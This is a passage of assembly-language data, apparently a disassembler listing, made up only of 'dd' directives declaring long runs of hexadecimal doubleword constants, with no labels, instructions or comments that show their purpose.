dd 3F0DD319h, 7F473F9Bh, 0F6F6ADBh, 2EE78933h, 71F5E942h
dd 2993973Bh, 24E2D44Eh, 36E7AE0Eh, 6BD102C8h, 2B64CCAEh
dd 7C0F2A2h, 6DD12A28h, 379B4875h, 0A23FBAB4h, 6423829Fh
dd 3582BB1Eh, 19C9CDFDh, 0D1649ABEh, 0C955E08Eh, 0FBEAB46Eh
dd 7CFC64F0h, 0E57B21A1h, 3CD752B9h, 8ECD3123h, 81E409CFh
dd 0A450BE11h, 313145D6h, 0ED97DA39h, 24972D5Ah, 0D8354035h
dd 0FA9EAA45h, 27C1F4C7h, 0ED2A9EBAh, 0C7BE67A3h, 6BE33C0Ah
dd 0AC383B0Fh, 0B213E7Ah, 60628CE0h, 8ECAC982h, 0AD1F1025h
dd 0BD688CADh, 0F5C2E362h, 6A50FFA6h, 8916C6E9h, 8624DFF7h
dd 23E71B0Eh, 1E5E8F46h, 0E72AD889h, 992A8105h, 0D5CCBF8Dh
dd 0BDB2EE9h, 0A9CDBFD8h, 61B4E067h, 0A8E6DF2Dh, 0B8032CC0h
dd 492CE574h, 0D6F52F84h, 0FE9948EFh, 52CE385Ah, 3D590B96h
dd 1BB9838Dh, 71107D3Bh, 0BDF2A340h, 7D5CBECEh, 1EEB0474h
dd 213C870Eh, 349F831Ch, 617AE572h, 2800CD7Fh, 6482694Bh
dd 53825317h, 9A787FF5h, 0EEB4F79Dh, 82E2B486h, 0A6B90C6Ah
dd 995C990Bh, 0E8450A19h, 0A732C753h, 9EEE7AEh, 203F398Fh
dd 686AC6DCh, 171FDD5Ah, 2EBAEE03h, 12419D5Ah, 21048F20h
dd 0FDC6A885h, 403E18D7h, 3724F74Dh, 0FC0EA67Fh, 0D8B2724Ch
dd 0D64E6971h, 1D1F9454h, 789BEA5Ah, 0E162C47Bh, 8A96120Ah
dd 0FB2775A3h, 0CCAE0E51h
dd 0E3020AFCh, 0E173B54Ch, 0DDAFC63Dh, 3D9A1C26h, 32A845EEh
dd 0A5B597D7h, 5BE0E8ADh, 15D4A3C3h, 0E6AF49C1h, 0FA74C99h
dd 760F3161h, 48895BA0h, 0D1847457h, 2A58B400h, 8EF21739h
dd 0A329E139h, 0E7F7475Eh, 0BEF712EAh, 0F66C6310h, 42A32EEFh
dd 0A149AE65h, 4876AF2Fh, 13CF342Ah, 0E68A97A2h, 4D4A3032h
dd 50EEDBCBh, 0CFFC8290h, 6E20454Ah, 0A40C1C4Eh, 0A0B7AE2Fh
dd 55B5F6C8h, 0C7E8B79Ch, 0E66BD153h, 0E341F4C5h, 0E56BE216h
dd 7C70D992h, 777FEFE4h, 0F49A6804h, 27394143h, 0D9A7D84Ah
dd 2AC0CEC7h, 0F86D283Ch, 0EA36BC0Ah, 8AA9608h, 0B3A25277h
dd 3EA6B915h, 7C5F8C7Ah, 0E767F79Dh, 0DE4CFDD8h, 0D2945962h
dd 0AC99A05Ch, 2FDCE30Fh, 0DBAF6E0h, 1C4011F1h, 0A5B00BAEh
dd 5CCB3659h, 8F679A4Eh, 660F7D89h, 0BB9E6DACh, 7D27F0FCh
dd 7FC836D4h, 0BB708F44h, 8949A463h, 790B9CB6h, 796D971Ch
dd 1EF96BE5h, 21C8065Bh, 73A8D399h, 873C91FFh, 19932D75h
dd 0D4BF3161h, 0ADAEA0C1h, 0FA6D1E5Fh, 0E9EEC424h, 1A9AF5Ch
dd 0B06F8E6Eh, 0E6237986h, 9FDD44FDh, 109D2C62h, 62DF7CA2h
dd 9FD62CB3h, 0E8328CC4h, 6E29A0BEh, 0E1D93F1Dh, 68F84BCDh
dd 0FCE1A7AAh, 0A1CA5A7Fh, 0B73B6637h, 17A11DE5h, 0AE58F816h
dd 622A4971h, 779966D9h, 0F76D4249h, 0EAF31345h, 59DDAD2Dh
dd 90D6C991h, 728EAF10h, 0FC8BEA49h, 28248BC3h, 82F76491h
dd 2751EDE7h, 96D3E1EAh, 4BDA6168h, 668C8451h, 40E1131Dh
dd 27303651h, 0CF7017B9h, 6A1ECCCAh, 0F446FFEFh, 218DF23Ch
dd 0E48A6ED2h, 40EF5118h, 6636F6Bh, 0E0C90CC0h, 0F91A02F5h
dd 45D1672h, 19750851h, 0B6ED1231h, 0AB5E965Ah, 2F139F67h
dd 468106CEh, 64EC8A85h, 0A8DA1328h, 4B47A2DFh, 109CC355h
dd 77AB0BFFh, 0B40727DCh, 3BB0455Ch, 0E4DC7DEh, 890C9A1Ah
dd 19BD9D57h, 532E705Bh, 270B3783h, 4C285921h, 993604C7h
dd 3AC8DC5Ah, 36C99F02h, 0C9CE4C9Fh, 0DCD1A5ECh, 48F508C0h
dd 0D44F43BCh, 57607E69h, 4085D7B1h, 0C35F6250h, 28D1E714h
dd 914AE9B6h, 6E5AB21Bh, 2C8A7A99h, 9BFB691Ah, 7F4B39D0h
dd 0D6F56084h, 41A018D0h, 7751133Bh, 296666h, 16264F76h
dd 85CF1AB9h, 6A1A498h, 0ED8802E7h, 3640B2h, 88749BAFh
dd 263EC3D5h, 0EFD373C2h, 0E7CF6AD7h, 0DF9E9AE2h, 5D4B1C46h
dd 8FDEDDC4h, 1DB0D818h, 0FD682576h, 507EED53h, 0D5854F1Dh
dd 0C57CEA2Fh, 0D8B26CEBh, 5B8350B4h, 54AC37CBh, 2156924Dh
dd 935EEC98h, 22AF8EC6h, 0A924940Ch, 0E6044802h, 0E6B4594h
dd 0C3D26557h, 6E3F6713h, 0E4A3C5B1h, 1FEB340Ch, 0C78EE5EFh
dd 0C9B9C0B2h, 0F4BE485h, 0CA4FA695h, 0F35B84D8h, 0B67B47E5h
dd 3E26D594h, 9A2DDCEEh, 0AB2B455h, 0BF1CBBE4h, 53C03C5Ch
dd 5803D0D5h, 0C78679E0h, 39CFBB8Dh, 69FD18B8h, 1F3F56B8h
dd 3D8F8A9Dh, 0B170D01Fh, 742933B9h, 1A91C40Dh, 5E17C240h
dd 0CED8C906h, 0E6F76DCDh, 3F914D17h, 3E41D40h, 28680A8h
dd 0CB2516BAh, 9EF67817h, 71173517h, 0BA3A8FFBh, 8F1E8C0h
dd 7D006188h, 9A3B334Bh, 385BBDCh, 0FD0C0D7Ch, 0D43DD3A6h
dd 37EE79E1h, 443545AAh, 8DBD75D7h, 6FBC35Fh, 0F5456141h
dd 8D2E23A0h, 6D6FBF1Bh, 972EEC1Eh, 8D27E1B1h, 0D62E6713h
dd 9409C036h, 2D937C71h, 72B2736Ch, 59BFEBADh, 0C51774A5h
dd 68B99398h, 7F513C52h, 0FFBCEF1h, 17B38EBBh, 0A5556715h
dd 620A495Ah, 2375162h, 0D041872Eh, 845BC9F1h, 56EDA029h
dd 9DDD812h, 4FB9FEFDh, 9D2D5FE5h, 0F0187733h, 30037668h
dd 0EC8B67DFh, 8BD1FBBDh, 15F6FB8Ah, 0D4C95437h, 3BA1FC76h
dd 0C1C3F01Dh, 43AB7B47h, 69501686h, 0D8CEBD8Ah, 579DF9BEh
dd 428FD5CBh, 2178E7C1h, 428718C3h, 79C2058h, 1EBA88BCh
dd 78BC30D2h, 99DD173Dh, 0B7CFE592h, 304F36D4h, 8B8236C7h
dd 0EDAFD505h, 0FA581FD4h, 1A12EFE8h, 5717E2E3h, 183656F2h
dd 0EA69E95Ah, 0E25188D5h, 99EA4A09h, 0B4728001h, 4FC3052h
dd 0E1FE8CE5h, 0AB6C8B00h, 69E700DBh, 0E19886D8h, 39FBCBF1h
dd 0FB150A41h, 0FBAC3A90h, 9609818Dh, 643FE2FFh, 0E67981E0h
dd 1778D8C3h, 0D8B203F2h, 0B7BB421Ah, 2255BA0Ch, 40EE1046h
dd 0DE781EA3h, 5EBF3B9Ch, 0E229ADAh, 0CE74B635h, 0B4487340h
dd 610B011Dh, 462559A8h, 46E55C7h, 3E1BFD89h, 6DC36A75h
dd 0E63EB444h, 0BE62C7A2h, 0E34CBCB3h, 0F3344C76h, 0A9366A01h
dd 8AC6BB86h, 0FE832BA3h, 91B4DFDBh, 0E618D7CBh, 2C88F892h
dd 5925ADB0h, 783740FEh, 8DA6D690h, 11AA0B69h, 68DB602Fh
dd 0BC4328D9h, 6FC1A728h, 9DF5412Fh, 99E84FD3h, 0B2B3E0D1h
dd 71D260D5h, 32EEA1DDh, 0EC428F26h, 0F4BC55Dh, 0BBFF3B4Fh
dd 90C4F071h, 0E11BBAABh, 99C76C9Ch, 5BCB0FFCh, 11CFFE2Eh
dd 4EB5D44Fh, 0D6205D2Eh, 0FD05F964h, 0FB9A1365h, 0BDA85842h
dd 0AF6863E1h, 409033A2h, 31D0F31Fh, 0CD7C09AEh, 358DDE1Bh
dd 64394F6Dh, 0DDBFB02Ah, 215F43C9h, 4E628E8Ch, 180C9910h
dd 6E6E0D8Fh, 0DDE7FA36h, 0D125DF44h, 315CFE06h, 541846A7h
dd 723DC7BDh, 2772B4CDh, 9F89684Bh, 6F32C255h, 0EE3E7A57h
dd 24787839h, 233FA8E7h, 40EE7781h, 0E3303348h, 7218EA0Fh
dd 0F69B8FDEh, 0CEFA4D63h, 0CA896653h, 0A7DC31BFh, 5E49FCE2h
dd 867DA922h, 0DAD4A65h, 0CF284050h, 8285F9BCh, 8C86FA9h
dd 7B0252DCh, 0C81A457h, 0BEDADCA4h, 2D58A5C0h, 105DA7C1h
dd 7B4CA9Eh, 0D2803F80h, 0B044838Eh, 4C2B4BA1h, 9A5A0245h
dd 3C81B3AFh, 7B78CCADh, 5B003DA8h, 0B2383F7Fh, 246499F2h
dd 36AD8FF8h, 51186BDAh, 0B60F6FADh, 7E1EA6CBh, 7B31652Dh
dd 0A024BA02h, 0E22DD97Ch, 703F3C02h, 0E04D4E16h, 203FAEBAh
dd 4CE26115h, 2F64E4BBh, 0AC9E2CE9h, 0F7D4FDDDh, 48B7746Ah
dd 0D0CA3EAh, 0B256A547h, 9A018669h, 0FF2E2B1Bh, 13E2B028h
dd 27D8CB76h, 8B9073ACh, 0FF0CCE96h, 0E809E55Ch, 4B490F0Fh
dd 31C04344h, 40523DA9h, 0BC3C4380h, 687F4CE7h, 36030537h
dd 0F46E684Ch, 0F80989BBh, 37B66E39h, 0F20DAF97h, 0D3DC4ABAh
dd 22B68270h, 512418EFh, 2F194319h, 14CFFC30h, 0B1DBD25Eh
dd 0AAF729FAh, 70E8B2Eh, 0A3FB078h, 1721B3CAh, 42413108h
dd 0FDFC1E66h, 0FA95C8B5h, 21A6FEC0h, 88B3210Fh, 80AA2EF4h
dd 989E0213h, 57B48793h, 0CF481B04h, 57C899AEh, 0A97D43D4h
dd 753180A8h, 8031DE68h, 9C3E7279h, 8E436476h, 32DA78EBh
dd 2C68F4F8h, 6C066742h, 6F480ABDh, 76F11FCFh, 8AC44800h
dd 41FB1D3Ah, 740D8036h, 8E305B9Ah, 36ED30CFh, 0E196BACDh
dd 89FD627Ah, 4EBA6B9Ah, 7B9C3692h, 530AAF23h, 8ACC4680h
dd 14E27855h, 7BFBCAB6h, 9F4A1E17h, 0A1A9BEC8h, 29476C68h
dd 35AC3BF0h, 0D17D6D4Ch, 0FE8E03BBh, 0BA16D498h, 0D81CE6CFh
dd 197D5D3Fh, 672EE1A0h, 878F6DA8h, 99C65B24h, 24004F1Ch
dd 0A912828Bh, 11102CA7h, 97A63B22h, 3450C3CCh, 376CAFE7h
dd 0DA6B1C23h, 45C2F20Eh, 5B12BF45h, 32EB160Fh, 2CEBCBA6h
dd 63D05F20h, 0D1B17A87h, 787463FDh, 0BA7A8BB2h, 0FD23ECC2h
dd 0FFD2E95Bh, 7983CA0Dh, 97963015h, 0FC89DEE3h, 829F23D5h
dd 51193D36h, 0F357BD7Ch, 5228AC7Dh, 1F4C43EDh, 633B4065h
dd 9352AAFh, 0DA031ADCh, 9ABF1399h, 0B3F05CDEh, 0E1648828h
dd 8B5D7AD7h, 0EA480D65h
dd 6F1F162Ah, 55182386h, 6475414Eh, 54D958F8h, 32C9A606h
dd 423D894Bh, 822A245h, 6BF668C8h, 0C9B7C9A8h, 8032B8D4h
dd 5E0850D3h, 44CB269Ah, 0DD7A2FDh, 1C5EFB2Ch, 0F75DC775h
dd 47C8C305h, 31EB9B9Eh, 522F6946h, 0DD9EDA81h, 0CE70AEFBh
dd 7F7EAE7Ah, 830AF154h, 0D42212ACh, 8DD2CC93h, 8D81F15Fh
dd 7CE4B9D3h, 3E0D55E9h, 1A2D17C7h, 0E9D3892Ch, 0D11F9D94h
dd 0DC36F29h, 0CECCBD6h, 13523E73h, 0B9BCC9E4h, 0D34D0A92h
dd 27D33E12h, 71E4F63Dh, 59CC9011h, 50D89A59h, 0DC7496F7h
dd 1174C473h, 4055B6E1h, 53C5CFD1h, 7211D0E6h, 81A5208Eh
dd 44A1D7FBh, 59F7855Ch, 2DAF1893h, 14C28268h, 7CC7685h
dd 0D9691E15h, 6CA8F77Ah, 8894B8EBh, 87070731h, 69B64311h
dd 720489B6h, 206F58Bh, 0FC30C969h, 9268961Fh, 0FA6D61B2h
dd 1E9A130Eh, 7F66C023h, 77EE43B6h, 355CD107h, 3BD6F08Ah
dd 405CA0DEh, 0F982152Eh, 881F582Dh, 5650AC80h, 3860BF03h
dd 20D0095Fh, 7121FFD3h, 4135E895h, 2CA6660Dh, 9ADB132Fh
dd 134B5760h, 19DD19ACh, 8242B228h, 7EE6501Dh, 0E2DA44A8h
dd 10EB3132h, 680DC7F4h, 58D966B7h, 51F9F3D7h, 40FD3D0Dh
dd 82D0498Ch, 0F536240Ch, 0D773E0DFh, 0B1DEB485h, 0D40D0E08h
dd 960FC2D0h, 0E7101315h, 0DD965FBDh, 0FADB7D3Eh, 960160D5h
dd 0A306F68Fh, 0E6B81DC4h, 17023BC0h, 5C5A41D6h, 0D1E5CBCEh
dd 0A8EA85Dh, 747A64DFh, 0E7BAFA11h, 0E3A7352Fh, 0D8F7294Eh
dd 93F158Fh, 7897F2F8h, 0BD433753h, 0B55D7B49h, 0ADB3707Fh
dd 33412C1Dh, 0EE588806h, 0C717F69h, 0B017D251h, 0A19FEBA3h
dd 0B605842Ah, 4FA6D8C3h, 0B2A8ACEBh, 0CEFFB23Eh, 0A44C31EEh
dd 460FEC15h, 8AC5F6CDh, 6FCB3A3Bh, 84346A8Ah, 0EFA8D76Fh
dd 74C27ED9h, 3C45E1CAh, 87A15DD3h, 20478B41h, 0BC49C22h
dd 0B9E03FB1h, 437C9638h, 86FBADF9h, 0CD4A8DCAh, 17D30BC4h
dd 34BBF1EBh, 44F416ACh, 0F1FD3BE7h, 8DC0F320h, 0EE2318E5h
dd 0B0CA1D0h, 52F0F3F9h, 430C9C80h, 2E1242C4h, 5853D00h
dd 7349D96Eh, 2539469Bh, 5653BA59h, 2308487Bh, 9DA952D9h
dd 0A9EC5FB4h, 0EE465D23h, 86F0F3FAh, 4F296223h, 6F78D959h
dd 61C937CBh, 56817A8Bh, 0B6E56BD6h, 0BE75A747h, 1AE63278h
dd 52D35678h, 0ADF9D79Fh, 37DA292Ah, 3F064DDCh, 150AABAAh
dd 0F115621Eh, 274A8310h, 0BD5402E8h, 7BF6BA7Dh, 148F7CF2h
dd 27CFEA92h, 50F71788h, 0EA55447Dh, 956FDE47h, 5EB6B303h
dd 2B7E3449h, 3FECBD26h, 395C05ACh, 6A9B2469h, 18804CF5h
dd 0C6AA39EDh, 0DFA92818h, 9531EBA7h, 806BFA36h, 0F3E666FCh
dd 7E999A12h, 986306F1h, 455405D0h, 6A81F0C2h, 0A7A3D7D6h
dd 0EC0DF4C7h, 0F83C4764h, 4C235B0Fh, 0EE1CE9D7h, 0FF7D0599h
dd 40EC8139h, 0B1CA7FC9h, 7F6BF78Bh, 797F64F3h, 0FEEBA49Eh
dd 0E1266830h, 49F7BAA2h, 0C25BAC76h, 0FD5BF1A5h, 4BFE83C3h
dd 8403A532h, 0CA80BE66h, 46858248h, 32C29184h, 18E06D0Bh
dd 0B40A5B1Eh, 0B0FE494Eh, 0E83B19CDh, 0F5B54764h, 5B525574h
dd 5B84443Dh, 5E9FBAF0h, 0C26DD1D3h, 75FBE97h, 877CBFFCh
dd 7EE2FAh, 133148F5h, 0A9034085h, 2A4D89E3h, 0F754CF9Eh
dd 7E5F926Ch, 0C00EACCBh, 194013DEh, 0D9D20EEh, 5F422243h
dd 0D625F409h, 0B7BF7EC6h, 9525A911h, 8DC6EFFh, 8F1122FCh
dd 80ED525Bh, 62B91672h, 0B3E05939h, 1270ACE8h, 271DC93Ch
dd 0DE74B01h, 869AB758h, 7EAD5DA3h, 1D2C44E8h, 0E59EFCD0h
dd 1A887CCCh, 0F59ADDA0h, 904C3BDBh, 2176DD08h, 0AA1350BFh
dd 903773EFh, 5DD19ADFh, 0A25DD807h, 0BEC575E1h, 612B41AAh
dd 0F4ABA85Ch, 50A4952Dh, 0B9CD61Bh, 6D9CC0D3h, 11367718h
dd 0B3AF2D68h, 0FEF9422Fh, 0D41CC1A5h, 2D65C999h, 4ABF4904h
dd 610B5442h, 0AA7190D0h, 6C68E473h, 0BBE14E64h, 3F9ABDA8h
dd 64158BA9h, 8C939DC5h, 587E04Ch, 1118EAB0h, 0A89A00A1h
dd 9CBEFA2Bh, 9628D60Ch, 8CE7F623h, 4B206705h, 23B42953h
dd 0AA891C85h, 319A9BDEh, 0DA6184CAh, 0B2C70141h, 904012E2h
dd 2F6B25FBh, 820F2205h, 27B47DBEh, 0E0285555h, 36E93E4Fh
dd 1E997727h, 84714A98h, 9C98216Dh, 3FB754D0h, 0F0300C6Bh
dd 0A919E3ECh, 0C855CC96h, 8A9F1D09h, 6D6F0979h, 7645EB04h
dd 8DB2A693h, 3E53F86Dh, 599AC34Fh, 795EE505h, 6B85E6D5h
dd 81DC7DE0h, 3DD6999Fh, 4C6B7B48h, 1F69B581h, 6DD33915h
dd 4C96311Ch, 534C90A1h, 63B741E1h, 0D11121D9h, 1C13DAFh
dd 2F0C3FC4h, 9C9A9827h, 9E98D563h, 67B4EABBh, 144CA301h
dd 0D0D43C37h, 93062CAEh, 236AEEA0h, 88A0909Dh, 0DB38EE6h
dd 5CEB7F0Bh, 0F86E98CEh, 46D63D62h, 9AB3CD7Bh, 150A344Dh
dd 2AD1C903h, 1C07F2D3h, 45E5D0E7h, 0A4D1B8C2h, 484BE50Fh
dd 2B702356h, 0DEC0D338h, 5C798430h, 0B293C628h, 0ADF64469h
dd 288E656Dh, 0C6F7E60Bh, 2461A4CBh, 7F3A8EC4h, 80E83C97h
dd 0D79BAD3Ah, 18D6D138h, 5A621FFDh, 0E59B17ACh, 6CE52CD8h
dd 3CEC5431h, 8014EFCEh, 9C5A47BFh, 0BD56B64Eh, 4208B12Bh
dd 9A50C136h, 0D9B34632h, 5DB07EE5h, 0A2B42C50h, 9C986DE1h
dd 0F3F18B8h, 0B604B47Bh, 0D36C17F3h, 0D4868675h, 7791141Dh
dd 12528F02h, 271891AEh, 34FC8C3Ch, 6C447363h, 44BF3744h
dd 0FADF34Bh, 653E3990h, 1CC68043h, 96FACA12h, 9DF0682Dh
dd 49DC7ADEh, 83097286h, 9752879Bh, 0A04FC20Bh, 593B8463h
dd 3C1F89CFh, 0B95587BAh, 94AB24C9h, 0DA64D412h, 0EF056584h
dd 0CC8B6676h, 73DCA6E0h, 0F26E90F8h, 0E8C14713h, 91C61792h
dd 0E1683F71h, 7E1CEADFh, 270FA91Ah, 2F7B0F45h, 48219EC2h
dd 0C235DC8Bh, 0B5D1E463h, 4024A0A5h, 7E717918h, 0FFE1C329h
dd 0A8A1FFE5h, 0BB565B6Ch, 5643A369h, 7FD85012h, 8047415h
dd 67255F5h, 200B75ABh, 7CEFCCFDh, 4CC8AF4Dh, 957FFA41h
dd 6889BF78h, 0D5F7CCEBh, 512CAC79h, 99E50567h, 4B5B5F36h
dd 0C3A1550Ch, 0E5EC3B2Dh, 49E78FB4h, 0ED3CE794h, 25B0C67Ah
dd 9F6DC947h, 997694DBh, 1B82444Fh, 90861E15h, 3613356Bh
dd 4284C54Ah, 5D99FE5h, 3BBF1217h, 6AFCA033h, 0AA8D4540h
dd 0FC772468h, 18F6F981h, 13FEBDBCh, 0CE6950C0h, 97B2C7ADh
dd 2CFB26ACh, 6D04EABAh, 8A22A951h, 7FB20EA1h, 8C05013Ch
dd 7F711E4h, 0C56D44FBh, 58FA3325h, 4FD41D5Ah, 8D5504E1h
dd 0BBEE86Eh, 653F88D8h, 3DB8BE34h, 0AF3CA2ABh, 0E4DD1A28h
dd 0ACD4971Bh, 0A5438EB4h, 0F58E25C4h, 42327646h, 5CD93E7h
dd 0B14FEF08h, 0F2C28B70h, 0B36A0764h, 0DFD8F101h, 78A2F3EAh
dd 0D0BDD57Ch, 24C01BCDh, 2220EAD3h, 85195801h, 716B49E0h
dd 0F477A4Eh, 95B27EA7h, 6A09D6E1h, 0FDA61176h, 0DF926549h
dd 62677492h, 54C2089Ah, 0F00EB6BCh, 4FF7FF8Dh, 0C96B6223h
dd 0CA5409B9h, 741EC05Ch, 2E2C7403h, 0BA891C79h, 8A7134E8h
dd 30F25414h, 0F7B898B4h, 0D9F482C8h, 4F870463h, 9667CD7Eh
dd 944A6F54h, 594AA26Dh, 0A1F612D6h, 0E8068555h, 6281E24Eh
dd 730E53EBh, 0ACC2AE6Ah, 51450096h, 0CF7EF45Dh, 1A2054A7h
dd 0E575AAE7h, 0D0755925h, 986467C6h, 0E54BBAEDh, 434B3CDDh
dd 5A6D7FA9h, 0A06DD625h, 0A85BE8BDh, 2F1BFE5Bh, 0F4228E60h
dd 9E8A778Fh, 0A0BD2D7Fh, 92980B51h, 91B420D0h, 33F7133Ah
dd 6CF9281Dh, 451B3618h
dd 0ACC3E543h, 0EFFEAEE3h, 38F21EE9h, 1286EEABh, 71E995CEh
dd 96B12CD9h, 222F0D35h, 7B779ED4h, 38E55B4h, 0A2DD75BAh
dd 0BB5D5B43h, 0B07CDC4Bh, 5EF79541h, 203F047Ah, 3B098BE8h
dd 0C4EB7E78h, 33944374h, 25015FD0h, 4F5FDDF1h, 0E2E793BBh
dd 0C7149924h, 3B23BE6Eh, 4FCAAC4Bh, 69BD8D66h, 0E07729A5h
dd 3F169CF0h, 367C3F22h, 0C8837AEEh, 0B8AB0F7Fh, 8B74520Bh
dd 0E745AFC6h, 7947F584h, 2519AFF4h, 94A8A7CEh, 75462F87h
dd 0FC5EAE9Eh, 1D01DE0Fh, 947E65E8h, 8172F34Bh, 745E003Bh
dd 2030E0F8h, 548C083Ah, 61F0E2F7h, 8D88A195h, 3165DD61h
dd 0A363C3C2h, 0EC0FD427h, 0FB50D8EDh, 0C476754Bh, 0EB4FA29h
dd 959FFCB7h, 92550DB6h, 7F261397h, 0D57DC590h, 39D09DD2h
dd 58DF73Eh, 562784DEh, 0C355898Bh, 0C772E052h, 8AE10D06h
dd 7B3B3047h, 0E8427A29h, 0D205CA7Ch, 994306F7h, 910A6C9Ah
dd 0AC7A21AEh, 20DE40F3h, 8A2E0824h, 179C42E8h, 0FEA59DEEh
dd 4A34B417h, 0C2665558h, 64811BECh, 727D6CAAh, 0D335B85Ah
dd 0BB0F16CFh, 17722ABEh, 0BCE15016h, 1BF9D1B1h, 654CBB89h
dd 2F5CC51h, 0B0DB83D1h, 0B0409ACh, 12677F09h, 0EC4B56BDh
dd 146F8527h, 0F4F61CD7h, 0F14DD227h, 95A9932h, 19684E04h
dd 66B1FD00h, 0C5E27551h, 95C6D0F8h, 8C4CE158h, 9ACAF4E4h
dd 60502D6Ah, 4D095584h, 122D13E4h, 61B8D5A4h, 0F0DF3AE9h
dd 4C80F444h, 0D967E040h, 462BF931h, 582A94B8h, 0D10043CEh
dd 1D8CB85Ch, 490ADB32h, 96489E88h, 0E745999Bh, 3B3F586Ch
dd 0E8213146h, 0B366E9BFh, 429D46E5h, 0F9F53C48h, 4CC037D6h
dd 0BC82E592h, 38853413h, 0B7338B33h, 1D0058FAh, 359CD41Fh
dd 3AB25D5Bh, 5305A833h, 9374DEB1h, 165E7360h, 6050FFCCh
dd 81FFC97Ch, 0EB8A2356h, 0AE735225h, 46E858C1h, 93FB7CD0h
dd 0C5F198B1h, 9C02D268h, 10452438h, 0BF958277h, 9DC409D4h
dd 610127F5h, 3AF5993Fh, 0EE46A684h, 4395EA59h, 0D890F3DCh
dd 4CA1D9EDh, 851FCA50h, 79F291E5h, 6C011CE3h, 9A8D4C69h
dd 2FC67917h, 62DA6D1Eh, 0BE464067h, 0F72F8554h, 0DC977907h
dd 4FD7BE4Bh, 403DDC3Fh, 6024CFBCh, 0E8D777BBh, 6AEE6690h
dd 0C7C6A87Fh, 8F1AC232h, 0E36025DEh, 7D3CDE4Dh, 342EE90Fh
dd 0D9BD62D1h, 2B80F0Fh, 26491195h, 0FBB3DC8h, 9031F267h
dd 771B2210h, 0B96CEFA9h, 96F5D099h, 0AFDE5840h, 0A8D81F48h
dd 3838A72Ch, 0BE96DCFEh, 0F39D3A3Eh, 0CBDDD6AFh, 3DEED3BEh
dd 8F749C3Eh, 18025B20h, 0AF0B2D2Ch, 4CE2140Ch, 9209928Eh
dd 0CBB39041h, 0F4264B9Ch, 192068C1h, 998273BEh, 5C9496F9h
dd 522A4A56h, 0A4365C14h, 0B9A71CD2h, 3D532034h, 2EB6FD02h
dd 0FAC2F093h, 69DEBB90h, 0B490776Dh, 7C0F8AE0h, 29D2519Dh
dd 0FE53D9EBh, 0A5003A01h, 5E73687h, 0D5B89FC9h, 0D7EAA138h
dd 0D103B132h, 818B383Ch, 0D40CA164h, 2CF3CD5Ah, 31E8EFB1h
dd 5C73363Ah, 0E8BAF7C1h, 8726DA78h, 4E851A32h, 7CC2C126h
dd 3ECBBC81h, 77D937D5h, 52FFA707h, 0B26FE6Bh, 0F7C36E26h
dd 834005E3h, 2F032C76h, 1C1D5CBCh, 0D9B5EEF7h, 42EDF64Bh
dd 0B5D225F8h, 87A13F05h, 0DF49A991h, 72482D6Ah, 690C8BC3h
dd 2AB9F37Fh, 0A9421416h, 0E0AB2EE1h, 0F5106EB6h, 0B98BFADAh
dd 24CF9653h, 809949A9h, 0FAB581F0h, 0D75B6432h, 72B6762Fh
dd 2B096969h, 77E73DA5h, 5D45F262h, 0BCEB526Bh, 0D6C2E8CEh
dd 0E5C5DC5Ah, 81354C0Ch, 9DA76005h, 0E2865A6Bh, 8CF72740h
dd 0C72DC35Dh, 0E92F0FE2h, 8F351FC0h, 8C0A0728h, 801BA528h
dd 58B7095Fh, 1AABDF40h, 38102B91h, 0B5D9FDDBh, 0AABD31F7h
dd 0A6A79112h, 740271F3h, 0D2E0010Bh, 5D3CBD84h, 9FBCE80Ch
dd 7C708AA7h, 69CFF9F4h, 14AA4CB4h, 0C6F2A772h, 0DDEBF463h
dd 0C960DD28h, 86F73A7Eh, 0B33C468Eh, 0A6EBEEABh, 7D0C116h
dd 0B93605AFh, 0B9592014h, 0ABD1AA51h, 473F132Ch, 93FEB4Fh
dd 0FFCEE910h, 0D79F8201h, 0DBC094DDh, 262092ACh, 0ED9D9C5Dh
dd 859A6769h, 0BD5280A5h, 2A9D9748h, 25830FF2h, 33368EB9h
dd 0D65AE277h, 9D9DCD86h, 0A80C3E07h, 0FB8F90EDh, 0D7FCD5B5h
dd 42842104h, 0CB84B464h, 94C224C6h, 85BA787Bh, 5EC98C4h
dd 0CE2141F8h, 84AFA39Ch, 0E4245E65h, 25F8A0B5h, 0FCB3F805h
dd 0DFB88BEFh, 743C0DBEh, 0DC01852h, 980A9A04h, 1A3D107Fh
dd 0D6D5609Ch, 0D5850999h, 0A7B72030h, 7640B59Eh, 0E801F0F0h
dd 0A87DB88Eh, 238799E2h, 80E66CE0h, 8BA0B571h, 0F4DCADAAh
dd 205E5F01h, 0F5AB58D1h, 8108E7E0h, 0A15AE8A3h, 964CD48Ah
dd 83F0470Ah, 672CB268h, 7CD1C71Ah, 25360F0Bh, 0F3E0B48Bh
dd 5B56E369h, 0D58BAF9h, 38C40CEEh, 0D2904143h, 82E20288h
dd 2F10649Dh, 0CD76C948h, 65232208h, 85A2EC55h, 16FBC7A1h
dd 0A92202F8h, 0AF4D1228h, 0F645A047h, 64BE1768h, 0F8862ADDh
dd 0C5B6A790h, 1FC21224h, 4A69F554h, 4BF613A1h, 2E53B6CAh
dd 883608Ch, 77091F46h, 1BBC58A6h, 0F7F1A428h, 0C6913E4Ah
dd 89830CFh, 95FFFBD6h, 0E9715A4h, 38DF21E2h, 97487FEEh
dd 8897B853h, 26BB68C3h, 17DEDA10h, 6AB94A16h, 0F2BF451Dh
dd 4F8046F9h, 43F09458h, 0FAEB1C1Eh, 0F1F7ED2Eh, 0C6B42C8h
dd 219AE8E9h, 7FF36E52h, 0E8DCB40Bh, 0DD41F4Ah, 250B4714h
dd 0D263A919h, 231DB8A9h, 0F2A379Bh, 6A8A0DADh, 9E265F07h
dd 12DAF5C5h, 0AB19C57Dh, 0D10FB6E6h, 0F4C85A7h, 0D86E0B80h
dd 4F459E0h, 0F37819EAh, 0A9DC824Ah, 396A8879h, 3C1B6E06h
dd 7200467Fh, 0D686E0C1h, 895F35FCh, 24E45CC7h, 0A4277427h
dd 80EFCC38h, 0D084F965h, 0FCF00F42h, 0D7576A77h, 3B9F154Bh
dd 573BEE6Dh, 0CA09FEA2h, 37117B8h, 53A16ABh, 0E74FC60Dh
dd 15E7A5ADh, 84C2997Ah, 3235BE7Eh, 0AC71DA68h, 37CE4FB5h
dd 7F428009h, 14A35E94h, 6B7B2FD3h, 791A3BF3h, 0C7A97AC3h
dd 6267C9CBh, 0B68D09A3h, 15D57996h, 23161BD2h, 1C28EC2Ch
dd 4454AB77h, 0EDB5B600h, 0B3F6D077h, 0BA8C8C35h, 3D53B775h
dd 0E232E2E7h, 1A7DEB51h, 740A6014h, 0F19972C4h, 73F8557h
